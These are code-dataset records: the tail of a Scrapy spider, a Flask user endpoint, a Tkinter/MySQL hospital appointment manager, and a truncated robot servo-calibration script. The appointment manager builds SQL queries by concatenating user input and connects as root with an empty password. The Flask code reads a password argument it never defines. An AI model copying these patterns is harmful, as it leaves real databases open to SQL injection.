table_options:\n option_item = deepcopy(new_item)\n option_item['name'] = option.xpath('td[1]/text()').extract()[0]\n price = option.xpath('td//span[@class=\"price\"]/text()').extract()\n price = extract_price(price[0]) if price else 0\n option_item['price'] = price\n identifier = option.xpath('td//input/@name').re('\\[(.*)\\]')\n if not identifier:\n identifier = option.xpath('td//span/@id').re('product-price-(.*)')\n option_item['stock'] = 0\n\n option_item['identifier'] += '-' + identifier[0]\n yield option_item\n elif option_selector:\n for option in option_selector[0].xpath('option[@value!=\"\"]'):\n option_item = deepcopy(new_item)\n option_item['identifier'] += '-' + option.xpath('@value').extract()[0]\n option_item['name'] += ' ' + option.xpath('text()').extract()[0]\n option_item['price'] += extract_price(option.xpath('@price').extract()[0])\n yield option_item\n else:\n yield new_item\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/anglingdirect/climaxtackle_spider.py","file_name":"climaxtackle_spider.py","file_ext":"py","file_size_in_byte":5926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35350950324","text":"from flask_restful import Resource, reqparse\nfrom models.user import User_model\nfrom security import authenticate, identity\nfrom flask_jwt import JWT\nimport sqlite3\n\n\nclass User(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument('username',\n type=str,\n required=True,\n help=\"შეიყვანეთ სახელი\")\n\n\n def post(self, name):\n data = User.parser.parse_args()\n if User_model.find_by_username(name):\n return {'message': f'username {name} უკვე არსებობს'}, 404\n try:\n account = User_model(name, data['password'])\n account.user_save_to_db()\n except Exception as k:\n return {\"message\": k}\n\n\n def delete(self, name):\n item = User_model.find_by_name(name)\n if item:\n item.user_delete_account()\n return {'message': 'მონაცემი წაშლილია'}\n else:\n return {'message': 'მონაცემი ბაზაში ვერ მოიძებნა'}\n","repo_name":"Ninosha/Subs","sub_path":"resources/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"ka","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15976376059","text":"from Tkinter import *\nimport tkMessageBox\nimport pymysql\nimport datetime\n\nconn = pymysql.connect(host='localhost', port=3306, user='root', passwd='', db='FinalProject')\nclass Appointment:\n\n\tdef clearInfoFrame(self):\n\t\tfor widget in self.infoFrame.winfo_children():\n\t\t\twidget.destroy()\n\t\treturn\n\n\tdef doMakeAppointment(self, data):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(\"doMakeAppointment\")\n\t\tprint(data)\n\t\ttry:\n\t\t\tcur.execute(\"SELECT MAX(appointment_sn) FROM Appointment;\")\n\t\t\tsn=0\n\t\t\tfor row in cur:\n\t\t\t\tsn=int(row[0])+1\n\t\t\t\tprint(\"new appointment_sn is %d\"%sn)\n\t\t\tnow = datetime.datetime.now()\n\t\t\tdate = \"%d-%d-%d\"%(now.year,now.month,now.day)\n\t\t\tprint(\"INSERT INTO Appointment VALUES ('%d', NULL, '%s', '%s', '%s', '');\"%(sn, data[0], data[1], date))\n\t\t\tcur.execute(\"INSERT INTO Appointment VALUES ('%d', NULL, '%s', '%s', '%s', '');\"%(sn, data[0], data[1], date))\n\t\t\tconn.commit()\n\t\t\ttkMessageBox.showinfo(\"^_^\",\"Success! Appointment SN is %d\"%(sn))\n\t\t\tself.clearInfoFrame()\n\t\texcept:\n\t\t\tself.msgErr(1)\n\t\t\tself.makeNewUser(data)\n\n\t\t\n\t\treturn\n\n\tdef makeAppointment(self):\n\t\tself.clearInfoFrame()\n\t\tfMAInput = Frame(self.infoFrame, width=890, height=300)\n\t\tfMAInput.pack(fill=BOTH, side=TOP)\t\n\t\t\n\t\tlSsn = Label(fMAInput, text=\"SSN\")\n\t\tlSsn.grid(column=0, row=0)\n\t\teSsn = Entry(fMAInput, width=30)\n\t\teSsn.grid(column=1, row=0)\n\n\t\tlSymptom = Label(fMAInput, text=\"Symtoms\")\n\t\tlSymptom.grid(column=0, row=3)\n\t\teSymptom = Entry(fMAInput, width=30)\n\t\teSymptom.grid(column=1, row=3)\n\n\t\tdata=[]\n\t\tdata.append(eSsn)\n\t\tdata.append(eSymptom)\n\n\t\tbSubmit = Button(fMAInput, text=\"Submit\", command=lambda: self.doMakeAppointment([x.get() for x in data]))\n\t\tbSubmit.grid(columnspan=2, column=0, row=8)\n\n\t\treturn\n\n\tdef makeNewUser(self, data):\n\t\tself.clearInfoFrame()\n\n\t\tfMAInput = Frame(self.infoFrame, width=890, height=300)\n\t\tfMAInput.pack(fill=BOTH, side=TOP)\n\t\t\n\t\tlSsn = Label(fMAInput, text=\"SSN\")\n\t\tlSsn.grid(column=0, row=0)\n\t\teSsn = Entry(fMAInput, width=30)\n\t\teSsn.grid(column=1, row=0)\n\n\t\tlBirthdate = Label(fMAInput, text=\"Birthdate\")\n\t\tlBirthdate.grid(column=0, row=1)\n\t\teBirthdate = Entry(fMAInput, width=30)\n\t\teBirthdate.grid(column=1, row=1)\n\n\t\tlPhone = Label(fMAInput, text=\"Phone Number\")\n\t\tlPhone.grid(column=0, row=2)\n\t\tePhone = Entry(fMAInput, width=30)\n\t\tePhone.grid(column=1, row=2)\n\n\n\t\tif data :\n\t\t\tprint(data)\n\t\t\t# vSymptom = String()\n\t\t\tlSymptom = Label(fMAInput, text=\"Symtoms\")\n\t\t\tlSymptom.grid(column=0, row=3)\n\t\t\teSymptom = Entry(fMAInput, width=30)\n\t\t\teSymptom.grid(column=1, row=3)\n\t\t\teSsn.insert(0,data[0])\n\t\t\teSymptom.insert(0,data[1])\n\t\t\n\t\tlFirstName = Label(fMAInput, text=\"First Name\")\n\t\tlFirstName.grid(column=0, row=4)\n\t\teFirstName =Entry(fMAInput, width=30)\n\t\teFirstName.grid(column=1, row=4)\n\t\tlLastName = Label(fMAInput, text=\"Last Name\")\n\t\tlLastName.grid(column=0, row=5)\n\t\teLastName =Entry(fMAInput, width=30)\n\t\teLastName.grid(column=1, row=5)\n\t\tlAddr = Label(fMAInput, text=\"Address\")\n\t\tlAddr.grid(column=0, row=6)\n\t\teAddr =Entry(fMAInput, width=30)\n\t\teAddr.grid(column=1, row=6)\n\t\tlCity = Label(fMAInput, text=\"City\")\n\t\tlCity.grid(column=0, row=7)\n\t\teCity =Entry(fMAInput, width=30)\n\t\teCity.grid(column=1, row=7)\n\t\tlState = Label(fMAInput, text=\"State\")\n\t\tlState.grid(column=0, row=8)\n\t\teState =Entry(fMAInput, width=30)\n\t\teState.grid(column=1, row=8)\n\t\tlZipcode = Label(fMAInput, text=\"ZIP Code\")\n\t\tlZipcode.grid(column=0, row=9)\n\t\teZipcode =Entry(fMAInput, width=30)\n\t\teZipcode.grid(column=1, row=9)\n\t\tlEmail = Label(fMAInput, text=\"Email\")\n\t\tlEmail.grid(column=0, row=10)\n\t\teEmail =Entry(fMAInput, width=30)\n\t\teEmail.grid(column=1, row=10)\n\n\t\t## ordering is important! \n\t\tnew_data=[]\n\t\tnew_data.append(eSsn)\n\t\tnew_data.append(eFirstName)\n\t\tnew_data.append(eLastName)\n\t\tnew_data.append(eEmail)\n\t\tnew_data.append(eAddr)\n\t\tnew_data.append(eCity)\n\t\tnew_data.append(eState)\n\t\tnew_data.append(eZipcode)\n\t\tnew_data.append(ePhone)\n\t\tnew_data.append(eBirthdate)\n\n\t\tif data :\n\t\t\tdata=[]\n\t\t\tdata.append(eSsn)\n\t\t\tdata.append(eSymptom)\n\t\tbSubmit = Button(fMAInput, text=\"Submit\", command=lambda: self.doMakeNewUser([x.get() for x in new_data], [x.get() for x in data]))\n\t\tbSubmit.grid(columnspan=2, column=0, row=11)\n\t\treturn\n\n\tdef doMakeNewUser(self, userdata, data):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(data)\n\t\tprint(userdata)\n\t\tnow = datetime.datetime.now()\n\t\tuserdata.insert(3, str(now.year-int(userdata[9].split('-')[0])))\n\t\tprint(\"INSERT INTO User VALUES ('\"+\"','\".join(userdata)+\"', NULL);\")\n\t\ttry:\n\t\t\tcur.execute(\"INSERT INTO User VALUES ('\"+\"','\".join(userdata)+\"', NULL);\")\n\t\t\tcur.execute(\"INSERT INTO Patient VALUES ('%s');\"%userdata[0])\n\t\t\tconn.commit()\n\t\t\t\n\t\texcept:\n\t\t\tself.msgErr(4)\n\n\t\tif data:\n\t\t\tself.doMakeAppointment(data)\n\t\ttkMessageBox.showinfo(\"Success\", \"Success!\")\n\t\treturn\n\n\tdef msgErr(self, errcode):\n\t\terrdic = {1: \"Not Found!\", 2: \"Already Existed!\", 3:\"Input Error!\", 4:\"Operation Failed!\"}\n\t\ttkMessageBox.showinfo(\"Error\", errdic[errcode])\n\t\treturn\n\n\n\tdef searchAppointment(self):\n\t\tself.clearInfoFrame()\n\t\tfSAInput = Frame(self.infoFrame, width=890, height=50)\n\t\tfSAInput.pack(fill=BOTH, side=TOP)\n\t\tfSAResult = Frame(self.infoFrame, width=890, height=640)\n\t\tfSAResult.pack(fill=NONE, side=TOP)\n\n\t\tlAid = Label(fSAInput, text=\"Appointment SN\").pack(fill=BOTH, side=LEFT)\n\t\teAid = Entry(fSAInput)\n\t\teAid.pack(fill=BOTH, side=LEFT)\n\t\tbSearch = Button(fSAInput, text=\"Search\", command=lambda: self.doSearchAppointment(fSAResult, eAid.get())).pack(fill=BOTH, side=LEFT)\n\n\t\treturn\n\n\tdef doSearchAppointment(self, fSAResult, aid):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(aid)\n\t\tlasrow=0\n\t\tif not cur.execute(\"SELECT * FROM Appointment WHERE appointment_sn=\"+\"'\"+aid+\"'\"):\n\t\t\tself.msgErr(1)\n\t\telse:\n\t\t\tdata=['Appointment Number', 'Doctor SSN', 'Patient SSN', 'Symptom', 'Date', 'Notes']\n\t\t\tfor row in cur:\n\t\t\t\tc=0\n\t\t\t\tfor col in row:\n\t\t\t\t\tprint(col)\n\t\t\t\t\tprint(data[c])\n\t\t\t\t\tLabel(fSAResult, text=data[c], width=20, anchor=W).grid(row=c, column=0)\n\t\t\t\t\tLabel(fSAResult, text=str(col), width=30, anchor=W).grid(row=c, column=1)\n\t\t\t\t\tc=c+1\n\t\t\t\tlastrow=c\n\n\n\t\tself.doSearchMedicineByAppointment(fSAResult, aid, lastrow)\n\t\t\n\t\treturn\n\n\tdef doSearchMedicineByAppointment(self, fSAResult, aid, lastrow):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(aid)\n\t\tif not cur.execute(\"SELECT * FROM Appointment_medicine WHERE appointment_sn=\"+\"'\"+aid+\"'\"):\n\t\t\t# self.msgErr(1)\n\t\t\tprint(\"No medicine yet!\")\n\t\telse:\n\t\t\tdata=['Medicine Name', 'Shape', 'Producer', 'Unit Per Time', 'Total Unit']\n\t\t\tfor row in cur:\n\t\t\t\tc=0\n\t\t\t\t# remove appointment sn from row\n\t\t\t\trow = [x for x in row]\n\t\t\t\tdel row[0]\n\t\t\t\tprint(row)\n\t\t\t\tprint(data)\n\t\t\t\tfor col in row:\n\t\t\t\t\tLabel(fSAResult, text=data[c], width=20, anchor=W).grid(row=lastrow+c, column=0)\n\t\t\t\t\tLabel(fSAResult, text=str(col), width=30, anchor=W).grid(row=lastrow+c, column=1)\n\t\t\t\t\tc=c+1\n\t\tbUpdate = Button(fSAResult, text=\"Update\", anchor=E, command=lambda: self.updateAppointment(fSAResult, aid)).grid(row=12, column=0)\n\t\tbDelete = Button(fSAResult, text=\"Delete\", anchor=W, command=lambda: self.doDelAppointment(aid)).grid(row=12, column=1)\n\t\t\n\t\treturn\n\n\tdef doDelAppointment(self, aid):\n\t\tprint(aid)\n\t\tself.clearInfoFrame()\n\t\t\n\t\tcur = conn.cursor()\n\t\ttry:\n\t\t\tcur.execute(\"SELECT * FROM Appointment WHERE appointment_sn=\"+aid)\n\t\t\tappointment=[]\n\t\t\tfor row in cur:\n\t\t\t\tappointment = [x for x in row]\n\t\t\tprint(appointment)\n\t\t\t\n\t\t\tif appointment[1] is None:\n\t\t\t\tcur.execute(\"DELETE FROM Appointment WHERE appointment_sn='\"+aid+\"';\")\n\t\t\tconn.commit()\n\t\t\t\n\t\texcept:\n\t\t\tself.msgErr(4)\n\t\tself.searchAppointment()\n\t\treturn\n\n\tdef updateAppointment(self, fSAResult, aid):\n\t\tself.clearInfoFrame()\n\t\tfSAResult = Frame(self.infoFrame)\n\t\tfSAResult.pack(fill=NONE, side=TOP)\n\t\t\n\t\tcur = conn.cursor()\n\t\tcur1 = conn.cursor()\n\t\tprint(aid)\n\t\tlasrow=0\n\t\tinputEntry=[]\n\t\toldAppointment=[]\n\t\toldAMedicine=[]\n\t\tif not cur.execute(\"SELECT * FROM Appointment WHERE appointment_sn=\"+\"'\"+aid+\"'\"):\n\t\t\tself.msgErr(1)\n\t\telse:\n\t\t\tprint(\"123123123123\")\n\t\t\tdata=['Appointment Number', 'Doctor SSN', 'Patient SSN', 'Date']\n\t\t\tentryName = ['Symptom', 'Notes', 'Medicine', 'Shape', 'Producer', 'Unit Per Time', 'Total']\n\t\t\tentryRow=[]\n\t\t\tc=0\n\n\t\t\tfor row in cur:\n\t\t\t\trow = [x for x in row]\n\t\t\t\toldAppointment = [x for x in row]\n\t\t\t\tprint(row)\n\t\t\t\tentryRow.append(row[3])\n\t\t\t\tentryRow.append(row[5])\n\t\t\t\tdel row[5]\n\t\t\t\tdel row[3]\n\n\t\t\t\tfor col in row:\n\t\t\t\t\tprint(\"%s %s\"%(data[c], col))\n\t\t\t\t\tLabel(fSAResult, text=data[c], width=20, anchor=W).grid(row=c, column=0)\n\t\t\t\t\tLabel(fSAResult, text=str(col), width=30, anchor=W).grid(row=c, column=1)\n\t\t\t\t\tc=c+1\n\t\t\tprint(entryName)\n\t\t\tfor col in entryName:\n\t\t\t\tprint(c)\n\t\t\t\tLabel(fSAResult, text=col, width=20, anchor=W).grid(row=c, column=0)\n\t\t\t\tinput = Entry(fSAResult, width=30)\n\t\t\t\tinput.grid(row=c, column=1)\n\t\t\t\tinputEntry.append(input)\n\t\t\t\tc=c+1\n\n\t\t\tif cur1.execute(\"SELECT * FROM Appointment_medicine WHERE appointment_sn=\"+\"'\"+aid+\"'\"):\n\t\t\t\tfor row in cur1:\n\t\t\t\t\trow = [x for x in row]\n\t\t\t\t\toldAMedicine=[x for x in row]\n\t\t\t\t\tprint(row)\n\t\t\t\t\tdel row[0]\n\t\t\t\t\tfor x in row:\n\t\t\t\t\t\tentryRow.append(x)\n\t\t\t\tc=0\n\t\t\t\tfor col in entryRow:\n\t\t\t\t\tinputEntry[c].insert(0, str(col))\n\t\t\t\t\tc=c+1\n\n\t\t\t\t\n\n\t\t\tbUpdate = Button(fSAResult, text=\"Update\", anchor=E, command=lambda: self.doUpdateAppointment(aid, oldAppointment, oldAMedicine, [x.get() for x in inputEntry])).grid(row=20, column=0)\n\t\t\treturn\n\n\tdef doUpdateAppointment(self, aid, oldAppointment, oldAMedicine, data):\t\t\n\t\t\n\t\tcur = conn.cursor()\n\n\t\tprint(oldAMedicine)\n\t\tprint(oldAppointment)\n\t\tcur.execute(\"SELECT * from Medicine where medicine_name=%s and shape=%s and producer=%s\"\n\t\t\t, (data[2], data[3], data[4]))\n\t\tmedicine_info = cur.fetchone()\n\t\tif medicine_info == None:\n\t\t\tself.msgErr(1)\n\t\tAppointmentCommand=\"UPDATE Appointment set symptoms=\\'%s\\', notes=\\'%s\\' where appointment_sn=\\'%s\\'\"%(data[0], data[1], str(aid))\n\t\tAMedicineCommand=\"UPDATE Appointment_medicine set medicine_name=\\'%s\\', shape=\\'%s\\', producer=\\'%s\\', unit_per_time=\\'%s\\', total_unit=\\'%s\\' where appointment_sn=\\'%s\\'\"%(data[2], data[3], data[4], data[5], str(data[6]), str(aid))\n\t\tprint(AppointmentCommand)\n\t\tprint(AMedicineCommand)\n\n\t\t\n\t\t\n\t\tcur.execute(AppointmentCommand)\n\t\tconn.commit()\n\t\tcur.execute(AMedicineCommand)\n\t\tconn.commit()\n\t\t\n\n\n\t\ttkMessageBox.showinfo(\"\", \"Success!\")\n\t\tself.clearInfoFrame()\t\t\n\t\treturn\n\n\tdef searchPatient(self):\n\t\tself.clearInfoFrame()\n\t\tfSPInput = Frame(self.infoFrame, width=890, height=50)\n\t\tfSPInput.pack(fill=BOTH)\n\t\tfSPResult = Frame(self.infoFrame, width=890, height=640)\n\t\tfSPResult.pack(fill=BOTH)\n\n\t\tlPatientSSN = Label(fSPInput, text=\"Patient SSN\").pack(fill=BOTH, side=LEFT)\n\t\tePatientSSN = Entry(fSPInput)\n\t\tePatientSSN.pack(fill=BOTH, side=LEFT)\n\t\tbSearch = Button(fSPInput, text=\"Search\", command=lambda: self.doSearchPatient(fSPResult, ePatientSSN.get())).pack(fill=BOTH, side=LEFT)\n\t\t\n\t\treturn\n\n\tdef doSearchPatient(self, fSPResult, data):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(data)\n\t\tif not cur.execute(\"SELECT * FROM Patient WHERE patient_ssn=\"+\"'\"+data+\"'\") or not cur.execute(\"SELECT * FROM USER WHERE ssn=\"+\"'\"+data+\"'\"):\n\t\t\tself.msgErr(1)\n\t\telse:\n\n\t\t\tdata=['SSN', 'First Name', 'Last Name', 'Age', 'Email', 'Address', 'City', 'State', 'ZIP Code', 'Phone', 'Birthday', 'Addition Info']\n\t\t\tfor row in cur:\n\t\t\t\tc=0\n\t\t\t\tfor col in row:\n\t\t\t\t\tprint(col)\n\t\t\t\t\tprint(data[c])\n\t\t\t\t\tLabel(fSPResult, text=data[c], width=15, anchor=W).grid(row=c, column=0)\n\t\t\t\t\tLabel(fSPResult, text=str(col), width=30, anchor=W).grid(row=c, column=1)\n\t\t\t\t\tc=c+1\n\t\t\n\t\treturn\n\n\tdef searchDoctor(self):\n\t\tself.clearInfoFrame()\n\t\tfSDInput = Frame(self.infoFrame, width=890, height=50)\n\t\tfSDInput.pack(fill=BOTH)\n\t\tfSDResult = Frame(self.infoFrame, width=890, height=640)\n\t\tfSDResult.pack(fill=BOTH)\n\n\t\tlDoctorSSN = Label(fSDInput, text=\"Doctor SSN\").pack(fill=BOTH, side=LEFT)\n\t\teDoctorSSN = Entry(fSDInput)\n\t\teDoctorSSN.pack(fill=BOTH, side=LEFT)\n\t\tbSearch = Button(fSDInput, text=\"Search\", command=lambda: self.doSearchDoctor(fSDResult, eDoctorSSN.get())).pack(fill=BOTH, side=LEFT)\n\t\t\n\t\treturn\n\n\tdef doSearchDoctor(self, fSDResult, data):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(data)\n\t\tif not cur.execute(\"SELECT * FROM Doctor WHERE doctor_ssn=\"+\"'\"+data+\"'\") or not cur.execute(\"SELECT * FROM USER WHERE ssn=\"+\"'\"+data+\"'\"):\n\t\t\tself.msgErr(1)\n\t\telse:\n\n\t\t\tdata=['SSN', 'First Name', 'Last Name', 'Age', 'Email', 'Address', 'City', 'State', 'ZIP Code', 'Phone', 'Birthday', 'Addition Info']\n\t\t\tfor row in cur:\n\t\t\t\tc=0\n\t\t\t\tfor col in row:\n\t\t\t\t\tprint(col)\n\t\t\t\t\tprint(data[c])\n\t\t\t\t\tLabel(fSDResult, text=data[c], width=15, anchor=W).grid(row=c, column=0)\n\t\t\t\t\tLabel(fSDResult, text=str(col), width=30, anchor=W).grid(row=c, column=1)\n\t\t\t\t\tc=c+1\n\t\t\n\t\treturn\n\n\tdef searchMedicine(self):\n\t\tself.clearInfoFrame()\n\t\tfSMInput = Frame(self.infoFrame, width=890, height=50)\n\t\tfSMInput.pack(fill=BOTH, side=TOP)\n\t\tfSMResult = Frame(self.infoFrame, width=890, height=640)\n\t\tfSMResult.pack(fill=NONE, side=TOP)\n\n\t\tlName = Label(fSMInput, text=\"Name\").pack(fill=BOTH, side=LEFT)\n\t\teName = Entry(fSMInput)\n\t\teName.pack(fill=BOTH, side=LEFT)\n\n\t\tlShape = Label(fSMInput, text=\"Shape\").pack(fill=BOTH, side=LEFT)\n\t\teShape = Entry(fSMInput)\n\t\teShape.pack(fill=BOTH, side=LEFT)\n\n\t\tlProducer = Label(fSMInput, text=\"Producer\").pack(fill=BOTH, side=LEFT)\n\t\teProducer = Entry(fSMInput)\n\t\teProducer.pack(fill=BOTH, side=LEFT)\n\n\t\tkey = []\n\t\tkey.append(eName)\n\t\tkey.append(eShape)\n\t\tkey.append(eProducer)\n\n\t\tbSearch = Button(fSMInput, text=\"Search\", command=lambda: self.doSearchMedicine(fSMResult, [x.get() for x in key])).pack(fill=BOTH, side=LEFT)\n\n\t\treturn\n\n\tdef doSearchMedicine(self, fSAResult, key):\n\t\tfor widget in fSAResult.winfo_children():\n\t\t\twidget.destroy()\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(key)\n\t\tkeystr = ''\t\n\t\tif len(key[0]) is not 0:\n\t\t\tkeystr= keystr+\"medicine_name='%s' \"%(key[0])\n\t\tif len(key[1]) is not 0:\n\t\t\tkeystr= keystr+\"shape='%s' \"%(key[1])\n\t\tif len(key[2]) is not 0:\n\t\t\tkeystr= keystr+\"producer='%s' \"%(key[2])\n\n\t\tif len(keystr) is 0:\n\t\t\tcommand = \"SELECT * FROM Medicine\"\n\t\telse:\n\t\t\tcommand = \"SELECT * FROM Medicine WHERE %s\"%(keystr)\n\t\t\n\t\tprint(command)\n\t\tif not cur.execute(command):\n\t\t\tself.msgErr(1)\n\t\telse:\n\t\t\tdata=[('Name', 'Shape', 'Producer', 'Functionality', 'Quanlity Having', 'Quanlity Using')]\n\t\t\tcolWid=[20, 10, 10, 20, 20, 20]\n\t\t\tfor row in cur:\n\t\t\t\tdata.append(row)\n\t\t\tr=0\n\t\t\tfor row in data:\n\t\t\t\tprint(row)\n\t\t\t\tc=0\n\t\t\t\tfor col in row:\n\t\t\t\t\tLabel(fSAResult, text=str(col), width=colWid[c], anchor=W).grid(row=r, column=c)\n\t\t\t\t\tc=c+1\n\t\t\t\tr=r+1\n\t\t\n\t\treturn\n\n\tdef searchPayment(self):\n\t\tself.clearInfoFrame()\n\t\tfSPInput = Frame(self.infoFrame, width=890, height=50)\n\t\tfSPInput.pack(fill=BOTH)\n\t\tfSPResult = Frame(self.infoFrame, width=890, height=640)\n\t\tfSPResult.pack(fill=BOTH)\n\n\t\tlAsn = Label(fSPInput, text=\"Appointment SN\").pack(fill=BOTH, side=LEFT)\n\t\teAsn = Entry(fSPInput)\n\t\teAsn.pack(fill=BOTH, side=LEFT)\n\t\tbSearch = Button(fSPInput, text=\"Search\", command=lambda: self.doSearchPayment(fSPResult, eAsn.get())).pack(fill=BOTH, side=LEFT)\n\t\t\n\t\treturn\n\n\tdef doSearchPayment(self, fSPResult, data):\n\t\t\n\t\tcur = conn.cursor()\n\t\tprint(data)\n\t\tif not cur.execute(\"SELECT * FROM Appointment WHERE appointment_sn=\"+\"'\"+data+\"'\") or not cur.execute(\"SELECT * FROM Payment WHERE appointment_sn=\"+\"'\"+data+\"'\"):\n\t\t\tself.msgErr(1)\n\t\telse:\n\n\t\t\tdata=['Appointment SN', 'Method', 'Amount', 'Date']\n\t\t\tfor row in cur:\n\t\t\t\tc=0\n\t\t\t\tfor col in row:\n\t\t\t\t\tprint(col)\n\t\t\t\t\tprint(data[c])\n\t\t\t\t\tLabel(fSPResult, text=data[c], width=15, anchor=W).grid(row=c, column=0)\n\t\t\t\t\tLabel(fSPResult, text=str(col), width=30, anchor=W).grid(row=c, column=1)\n\t\t\t\t\tc=c+1\n\t\t\n\t\treturn\n\n\n\tdef __init__(self):\n\t\troot = Tk()\n\n\t\tbottonFrame = Frame(root)\n\t\tbottonFrame.pack(fill=BOTH, side=LEFT)\n\n\t\tself.infoFrame = Frame(root, width=900, height=700, bd=5)\n\t\tself.infoFrame.pack(fill=BOTH, side=LEFT)\n\n\t\tbMakeAppointment = Button(bottonFrame, text=\"Make an appointment\", width=20, command=self.makeAppointment)\n\t\tbMakeAppointment.grid(row=0, column=0, padx=5, pady=5)\n\n\t\tbMakeNewUser = Button(bottonFrame, text=\"Create an User\", width=20, command=lambda:self.makeNewUser(''))\n\t\tbMakeNewUser.grid(row=1, column=0, padx=5, pady=5)\n\n\t\tbSearchAppointment = Button(bottonFrame, text=\"Search an appointment\", width=20, command=self.searchAppointment)\n\t\tbSearchAppointment.grid(row=2, column=0, padx=5, pady=5)\n\n\t\tbFindDoc = Button(bottonFrame, text=\"Search a doctor\", width=20, command=self.searchDoctor)\n\t\tbFindDoc.grid(row=3, column=0, padx=5, pady=5)\n\n\t\tbFindPatient = Button(bottonFrame, text=\"Search a patient\", width=20, command=self.searchPatient)\n\t\tbFindPatient.grid(row=4, column=0, padx=5, pady=5)\n\n\t\tbFindMedicine = Button(bottonFrame, text=\"Search a medicine\", width=20, command=self.searchMedicine)\n\t\tbFindMedicine.grid(row=5, column=0, padx=5, pady=5)\n\n\t\tbFindPayment = Button(bottonFrame, text=\"Search a payment\", width=20, command=self.searchPayment)\n\t\tbFindPayment.grid(row=6, column=0, padx=5, pady=5)\n\n\t\troot.mainloop()\n\nif __name__ == '__main__':\n\tAppointment()","repo_name":"vunhatminh241191/database_545B","sub_path":"appointment.py","file_name":"appointment.py","file_ext":"py","file_size_in_byte":16863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36973195176","text":"import numpy as np\nimport re\nimport time\nimport threading\nimport queue\nfrom Config import Configuration\nfrom HardwareInterface import HardwareInterface\nfrom State import State\nfrom JoystickInterface import JoystickInterface\n\n\"\"\"\nNEUTRAL_ANGLE_DEGREES = np.array(\n[[ 0., 0., 0., 0.],\n [ 45., 45., 45., 45.],\n [-45.,-45.,-45.,-45.]]\n)\n\"\"\"\n\nBTN_MOVE_PLUS = 1\nBTN_MOVE_MINUS = 2\nBTN_TEST = 3\nBTN_NEXT = 4\nBTN_EXIT = 5\n\nclass run_robot_caliblate_mode():\n def __init__(self, config, hardware_interface, joystick_interface):\n self.configif = config\n self.hardwareif = hardware_interface\n self.joystickif = joystick_interface\n self.state = State()\n\n self.mode_btn_que = queue.Queue()\n self.subloop_exit = False\n self.subloop_thread = threading.Thread(target=self.subloop)\n self.subloop_thread.start()\n\n self.btn_move_plus = False\n self.btn_move_minus = False\n self.btn_test = False\n self.btn_next_servo = False\n self.btn_exit = False\n\n self.hardwareif.servo_params.neutral_angle_degrees = np.array(\n [[ 0., 0., 0., 0.],\n [ 45., 45., 45., 45.],\n [-45.,-45.,-45.,-45.]])\n self.neutraldegs = self.hardwareif.servo_params.neutral_angle_degrees\n self.offsets = np.zeros((3, 4), dtype=float)\n print('Before Calibrattion')\n print(self.neutraldegs)\n\n while True:\n try:\n btn = self.mode_btn_que.get(timeout=0.1)\n if btn == BTN_NEXT:\n break\n except queue.Empty:\n continue\n\n mode_exit = False\n while True:\n for leg in range(4):\n for axis in range(3):\n motor_name = self.get_motor_name(axis, leg)\n set_point = [0, 45, 45][axis]\n self.neutraldegs[axis, leg] = 0\n offset = self.offsets[axis, leg]\n offset, mode_exit = self.step_until(motor_name, axis, leg, set_point, offset)\n self.offsets[axis, leg] = offset\n\n if axis == 1:\n self.neutraldegs[axis, leg] = set_point - offset\n else:\n self.neutraldegs[axis, leg] = -(set_point + offset)\n self.set_actuator([0, 45, -45][axis], axis, leg)\n\n if mode_exit:\n break\n if mode_exit:\n break\n if mode_exit:\n break\n\n print('After Calibrattion')\n print(self.neutraldegs)\n self.overwrite_ServoCalibration_file()\n\n self.subloop_exit = True\n self.subloop_thread.join(timeout=1)\n return\n\n\n def subloop(self):\n self.joystickif.get_command(self.state)\n pre_msg = self.joystickif.get_last_msg()\n tick = 0\n tack = True\n self.hardwareif.set_led_green(0)\n self.hardwareif.set_led_blue(0)\n\n while not self.subloop_exit:\n command = self.joystickif.get_command(self.state)\n msg = self.joystickif.get_last_msg()\n\n if (pre_msg[\"dpady\"] == 0) and (msg[\"dpady\"] == 1):\n self.mode_btn_que.put(BTN_MOVE_PLUS)\n\n if (pre_msg[\"dpady\"] == 0) and (msg[\"dpady\"] == -1):\n self.mode_btn_que.put(BTN_MOVE_MINUS)\n\n if (not pre_msg[\"circle\"]) and (msg[\"circle\"]):\n self.mode_btn_que.put(BTN_NEXT)\n\n if (not pre_msg[\"triangle\"]) and (msg[\"triangle\"]):\n self.mode_btn_que.put(BTN_TEST)\n\n if command.caliblate_mode_event:\n command.caliblate_mode_event = False\n self.mode_btn_que.put(BTN_EXIT)\n\n if (tick % 100) == 0:\n if tack:\n self.hardwareif.set_led_green(1)\n self.hardwareif.set_led_blue(0)\n else:\n self.hardwareif.set_led_green(0)\n self.hardwareif.set_led_blue(1)\n tack = not tack\n\n tick += 1\n pre_msg = msg\n time.sleep(self.configif.dt_sleep)\n\n self.hardwareif.set_led_green(0)\n self.hardwareif.set_led_blue(0)\n return\n\n\n def set_actuator(self, deg, axis, leg):\n rad = deg * np.pi / 180.0\n self.hardwareif.set_actuator_position(rad, axis, leg)\n return\n\n\n def get_motor_name(self, i, j):\n motor_type = {0: \"abduction\", 1: \"inner\", 2: \"outer\"}\n leg_pos = {0: \"front-right\", 1: \"front-left\", 2: \"back-right\", 3: \"back-left\"}\n final_name = motor_type[i] + \" \" + leg_pos[j]\n return final_name\n\n\n def step_until(self, motor_name, axis, leg, set_point, offset):\n print(motor_name, 'now', offset)\n mode_exit = False\n\n self.set_actuator(set_point + offset + 5, axis, leg)\n time.sleep(0.25)\n self.set_actuator(set_point + offset - 5, axis, leg)\n time.sleep(0.25)\n self.set_actuator(set_point + offset, axis, leg)\n\n btn = 0\n while True:\n try:\n btn = self.mode_btn_que.get(timeout=0.1)\n except queue.Empty:\n continue\n\n if btn == BTN_TEST:\n # print('BTN_TEST')\n self.set_actuator(set_point + offset 